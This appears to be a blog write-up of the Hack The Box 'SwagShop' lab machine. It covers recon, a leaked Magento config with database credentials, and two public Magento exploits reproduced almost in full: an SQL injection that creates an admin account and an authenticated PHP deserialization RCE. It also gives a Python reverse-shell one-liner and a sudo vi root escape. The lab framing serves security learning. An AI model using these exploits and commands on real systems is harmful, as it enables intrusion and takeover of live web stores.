jebidiah-anthony

write-ups and what not

HTB SWAGSHOP (10.10.10.140) MACHINE WRITE-UP


TABLE OF CONTENTS


PART 1 : INITITAL RECON

$ nmap --min-rate 700 -p- -v 10.10.10.140
  PORT   STATE SERVICE
  22/tcp open  ssh
  80/tcp open  http
$ nmap -p 22,80 -sC -sV -v 10.10.10.140
  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
  |   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
  |_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
  80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
  |_http-favicon: Unknown favicon MD5: 88733EE53676A47FC354A61C32516E82
  | http-methods: 
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-server-header: Apache/2.4.18 (Ubuntu)
  |_http-title: Home page
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PART 2 : PORT ENUMERATION

PORT 80 (Magento)

  • http://10.10.10.140/:

    80 Landing Page

    There is a Magento service running on port 80.

    Trying to register an account in http://10.10.10.140/ brings you to http://10.10.10.140/index.php/customer/account/create/ and if you’ll notice, /index.php is not only an endpoint but also serves as a directory.

  • Wappalyzer (Firefox plugin):

    eCommerce Programming Language Database Web Server Operating System
    Magento PHP MySQL Apache 2.14.18 Ubuntu
  • gobuster on /:

    $ gobuster dir -u http://10.10.10.140 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
      /media (Status: 301)
      /includes (Status: 301)
      /lib (Status: 301)
      /app (Status: 301)
      /js (Status: 301)
      /shell (Status: 301)
      /skin (Status: 301)
      /var (Status: 301)
      /errors (Status: 301)
    
  • http://10.10.10.140/app/etc/local.xml:

    <install>
      <date>Wed, 08 May 2019 07:23:09 +0000</date>
    </install>
    <crypt>
      <key>b355a9e0cd018d3f7f03607141518419</key>
    </crypt>
    <disable_local_modules>false</disable_local_modules>
    <resources>
      <db><table_prefix></table_prefix></db>
      <default_setup>
        <connection>
          <host>localhost</host>
          <username>root</username>
          <password>fMVWh7bDHpgZkyfqQXreTjU9</password>
          <dbname>swagshop</dbname>
          <initStatements>SET NAMES utf8</initStatements>
          <model>mysql4</model>
          <type>pdo_mysql</type>
          <pdoType></pdoType>
          <active>1</active>
        </connection>
      </default_setup>
    </resources>
    

    There is a Magento config file on http://10.10.10.140/app/etc/local.xml.

  • gobuster on /index.php:
    $ gobuster dir -u http://10.10.10.140/index.php -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
      /home (Status: 200)
      /0 (Status: 200)
      /contacts (Status: 200)
      /catalog (Status: 302)
      /admin (Status: 200)
      /Home (Status: 200)
      /core (Status: 200)
      /install (Status: 302)
      /cms (Status: 200)
      /api (Status: 200)
      /checkout (Status: 302)
      /wishlist (Status: 302)
    
  • http://10.10.10.140/index.php/admin:

    80 Admin Login

    There is a login page to access the Admin Panel


PART 3 : EXPLOITATION

  1. searchsploit:

    $ searchsploit magento
      --------------------------------------------------------------------------------------------------------- ----------------------------------------
       Exploit Title                                                                                           |  Path
                                                                                                               | (/usr/share/exploitdb/)
      -------------------------------------------------------------------------------------------------------------------------------------------------
      Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting       | exploits/php/webapps/32808.txt
      Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting | exploits/php/webapps/32809.txt
      Magento 1.2 - 'downloader/index.php' Cross-Site Scripting                                                | exploits/php/webapps/32810.txt
      Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File                                           | exploits/php/webapps/39838.php
      Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution                                             | exploits/php/webapps/37811.py
      Magento Server MAGMI Plugin - Multiple Vulnerabilities                                                   | exploits/php/webapps/35996.txt
      Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion                                              | exploits/php/webapps/35052.txt
      Magento eCommerce - Local File Disclosure                                                                | exploits/php/webapps/19793.txt
      Magento eCommerce - Remote Code Execution                                                                | exploits/xml/webapps/37977.py
      eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection                                             | exploits/php/webapps/38573.txt
      eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)                  | exploits/php/webapps/38651.txt
      --------------------------------------------------------------------------------------------------------- ----------------------------------------
    

    Since this box is rated with a 9/10 for CVE by the box creator, this should be a step in the right direction

    exploits/php/webapps/37811.py and exploits/xml/webapps/37977.py might be of interest due to their high severity.

    exploits/xml/webapps/37977.py creates an admin account with credentials, forme : forme, if the Magento service running is vulnerable.

    exploits/php/webapps/37811.py is an authenticated remote code execution exploit.

    The two exploits mentioned above seem to go hand in hand with each other.

  2. Create an admin account using 37977.py:
    1. Download the exploit:
      $ searchsploit -m exploits/xml/webapps/37977.py
          Exploit: Magento eCommerce - Remote Code Execution
              URL: https://www.exploit-db.com/exploits/37977
             Path: /usr/share/exploitdb/exploits/xml/webapps/37977.py
        File Type: ASCII text, with CRLF line terminators
              
        Copied to: /root/Desktop/htb_boxes/SwagShop/exploits/37977.py
      
    2. Inspect the exploit:
      # ...omitted...
      import requests
      import base64
      import sys
            
      target = "http://target.com/"
            
      if not target.startswith("http"):
          target = "http://" + target
            
      if target.endswith("/"):
          target = target[:-1]
            
      target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
            
      q="""
      SET @SALT = 'rp';
      SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
      SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
      INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','[email protected]','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
      INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
      """
            
            
      query = q.replace("\n", "").format(username="forme", password="forme")
      pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
            
      # e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is
      r = requests.post(target_url, 
                        data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
                              "filter": base64.b64encode(pfilter),
                              "forwarded": 1})
      if r.ok:
          print "WORKED"
          print "Check {0}/admin with creds forme:forme".format(target)
      else:
          print "DID NOT WORK"
      # ...omitted...
      
    3. Tweak the exploit:
      # [CHANGE]
      target = "http://target.com/"
      
      # [TO]
      target = "http://10.10.10.140/index.php/"
      
    4. Run the exploit:
      $ python 37977.py
        WORKED
        Check http://10.10.10.140/index.php/admin with creds forme:forme
      
  3. Login using the created credentials on http://10.10.10.140/index.php/admin:

    80 Admin Panel

  4. Attempt Remote Code Execution using 37811.py:
    1. Download the exploit:
      $ searchsploit -m exploits/php/webapps/37811.py
          Exploit: Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution
              URL: https://www.exploit-db.com/exploits/37811
             Path: /usr/share/exploitdb/exploits/php/webapps/37811.py
        File Type: Python script, ASCII text executable, with CRLF line terminators
              
        Copied to: /root/Desktop/htb_boxes/SwagShop/exploits/37811.py
      
    2. Inspect the exploit:
      # ...omitted...
      from hashlib import md5
      import sys
      import re
      import base64
      import mechanize
            
            
      def usage():
          print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
          sys.exit()
            
            
      if len(sys.argv) != 3:
          usage()
            
      # Command-line args
      target = sys.argv[1]
      arg = sys.argv[2]
            
      # Config.
      username = ''
      password = ''
      php_function = 'system'  # Note: we can only pass 1 argument to the function
      install_date = 'Sat, 15 Nov 2014 20:27:57 +0000'  # This needs to be the exact date from /app/etc/local.xml
            
      # POP chain to pivot into call_user_exec
      payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
                '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
                'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
                'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
                '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
                ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                           len(arg), arg)
      # Setup the mechanize browser and options
      br = mechanize.Browser()
      #br.set_proxies({"http": "localhost:8080"})
      br.set_handle_robots(False)
            
      request = br.open(target)
            
      br.select_form(nr=0)
      br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
      br.form.fixup()
      br['login[username]'] = username
      br['login[password]'] = password
            
      br.method = "POST"
      request = br.submit()
      content = request.read()
            
      url = re.search("ajaxBlockUrl = \'(.*)\'", content)
      url = url.group(1)
      key = re.search("var FORM_KEY = '(.*)'", content)
      key = key.group(1)
            
      request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
      tunnel = re.search("src=\"(.*)\?ga=", request.read())
      tunnel = tunnel.group(1)
            
      payload = base64.b64encode(payload)
      gh = md5(payload + install_date).hexdigest()
            
      exploit = tunnel + '?ga=' + payload + '&h=' + gh
            
      try:
          request = br.open(exploit)
      except (mechanize.HTTPError, mechanize.URLError) as e:
          print e.read()
      
    3. Tweak the exploit:
      # [CHANGE]
      username = ''
      password = ''
      # ...
      install_date = 'Sat, 15 Nov 2014 20:27:57 +0000'
      # ...
      request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
      
      [TO]
      username = 'forme'
      password = 'forme'
      # ...
      install_date = 'Wed, 08 May 2019 07:23:09 +0000'
      # ...
      request = br.open(url + 'block/tab_orders/period/1y/?isAjax=true', data='isAjax=false&form_key=' + key)
      

      The install_date could be found on the Magento config (/app/etc/local.xml) found earlier.

      It was reuired to change .../7d/... to .../1y/... since the exploit’s query should return a value in order to work and there were no recorded transactions in the Magento service in the past 7 days; however, there were transactions within the year since the box was released and this write-up was posted.

      Valid options are 24h, 7d, 1m, 1y, and 2y.

    4. Run the exploit:
      $ python 37811.py http://10.10.10.140/index.php/admin "id"
        uid=33(www-data) gid=33(www-data) groups=33(www-data)
      

PART 4 : GENERATE A SHELL

  1. Set-up a listener:
    $ nc -lvp 4444
      listening on [any] 4444 ...
    
  2. Run a python reverse shell using 37811.py:
    $ ifconfig
      tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
              inet 10.10.14.16  netmask 255.255.254.0  destination 10.10.14.16
              ...omitted...                
    $ python 37811.py http://10.10.10.140/index.php/admin "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.16\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
    

    There seems to be no python2 inside the box but at least, there is python3.

  3. Going back to the listener:
      10.10.10.140: inverse host lookup failed: Unknown host
      connect to [10.10.14.16] from (UNKNOWN) [10.10.10.140] 40060
      /bin/sh: 0: can't access tty; job control turned off
    
    $ uname -nopr
      swagshop 4.4.0-146-generic x86_64 GNU/Linux
    
    $ id 
      uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    $ python -h
      /bin/sh: 9: python: not found
    

PART 5 : PRIVILEGE ESCALATION (www-data -> root)

  1. Check for commands that could be executed with sudo:
    $ sudo -l
      Matching Defaults entries for www-data on swagshop:
          env_reset, mail_badpass,
          secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
         
      User www-data may run the following commands on swagshop:
          (root) NOPASSWD: /usr/bin/vi /var/www/html/*
    
  2. Run python3’s pty module:
    $ python3 -c 'import pty; pty.spawn("/bin/bash")'
    
  3. Run /usr/bin/vi using sudo:
    $ sudo /usr/bin/vi /var/www/html/ggwp
    
  4. Execute commands while inside vim:
    ~
    ~
    ~
    ~ 
    ~
    ~
    ~
    ~
    :!/bin/bash
    
  5. Now having a root shell:
    # cat /home/*/user.txt
      a448........................bac8
    
    # cat /root/root.txt
      c2b0........................6721
    
         ___ ___
       /| |/|\| |\
      /_| ´ |.` |_\           We are open! (Almost)
        |   |.  |
        |   |.  |         Join the beta HTB Swag Store!
        |___|.__|       https://hackthebox.store/password
         
                         PS: Use root flag as password!